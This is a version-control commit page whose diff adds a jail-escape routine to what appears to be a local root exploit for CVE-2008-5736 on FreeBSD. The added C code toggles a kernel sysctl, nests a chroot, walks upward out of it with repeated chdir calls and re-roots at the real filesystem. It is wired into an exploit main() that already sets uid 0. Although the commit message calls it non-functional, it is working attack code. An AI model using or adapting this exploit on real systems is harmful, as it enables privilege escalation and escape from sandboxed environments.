summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-02-27 01:21:43 -0500
committerJason A. Donenfeld <Jason@zx2c4.com>2011-02-27 01:21:43 -0500
commite90174bd63a6cbb3403e222e9bb72ea6949e332c (patch)
treef00dbc439e0dc9eed05eab7f67eeae4307495a65
parentClean up headers. Make l33t. (diff)
downloadCVE-2008-5736-e90174bd63a6cbb3403e222e9bb72ea6949e332c.tar.xz
CVE-2008-5736-e90174bd63a6cbb3403e222e9bb72ea6949e332c.zip
Non functional jail escape functionality.
-rw-r--r--current-thread-exec.c64
1 files changed, 64 insertions, 0 deletions
diff --git a/current-thread-exec.c b/current-thread-exec.c
index 1bf6dbd..cd6bd1d 100644
--- a/current-thread-exec.c
+++ b/current-thread-exec.c
@@ -6,12 +6,73 @@
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
+#include <sys/stat.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
+#include <fcntl.h>
#include <unistd.h>
#define PAGES 1
+int leavejail(void)
+{
+ int fail = 0;
+ int val = 2;
+ struct stat dirinfo;
+ ino_t chroot_root;
+ if (stat("/", &dirinfo) < 0) {
+ perror("\t[-] couldn't stat /");
+ goto die;
+ }
+ chroot_root = dirinfo.st_ino;
+ if (sysctlbyname("kern.chroot_allow_open_directories", NULL, 0, &val, sizeof(val)) < 0) {
+ perror("\t[-] couldn't change sysctl");
+ goto die;
+ }
+ mkdir("temp_dir", 0755);
+ int fd = open(".", O_RDONLY);
+ if (fd < 0) {
+ perror("\t[-] couldn't open this directory");
+ goto die;
+ }
+ if (chroot("temp_dir") < 0) {
+ perror("\t[-] couldn't chroot to temp_dir");
+ goto die;
+ }
+ if (fchdir(fd) < 0) {
+ perror("\t[-] couldn't change to fd");
+ goto die;
+ }
+ close(fd);
+ int i;
+ for (i = 0; i < 1024; ++i) {
+ if (chdir("..") < 0) {
+ perror("\t[-] couldn't chdir backwards");
+ goto die;
+ }
+ }
+ if (chroot(".") < 0) {
+ perror("\t[-] couldn't obtain final chroot");
+ goto die;
+ }
+ if (stat("/", &dirinfo) < 0) {
+ perror("\t[-] couldn't stat new /");
+ goto die;
+ }
+ if (dirinfo.st_ino == chroot_root) {
+ fprintf(stderr, "\t[-] new root is the same as old root\n");
+ goto die;
+ }
+end:
+ val = 0;
+ sysctlbyname("kern.chroot_allow_open_directories", NULL, 0, &val, sizeof(val));
+ return fail;
+die:
+ close(fd);
+ fail = 1;
+ goto end;
+}
+
volatile int got_root = 0;
int root(void)
{
@@ -81,6 +142,9 @@ int main(int argc, char *argv[])
fprintf(stderr, "[+] elevating permissions\n");
setuid(0);
setgid(0);
+ fprintf(stderr, "[+] attempting to leave jail...\n");
+ if (leavejail())
+ fprintf(stderr, "[-] failed to leave jail\n");
if (getuid() != 0) {
fprintf(stderr, "[-] failed to get root\n");
return -1;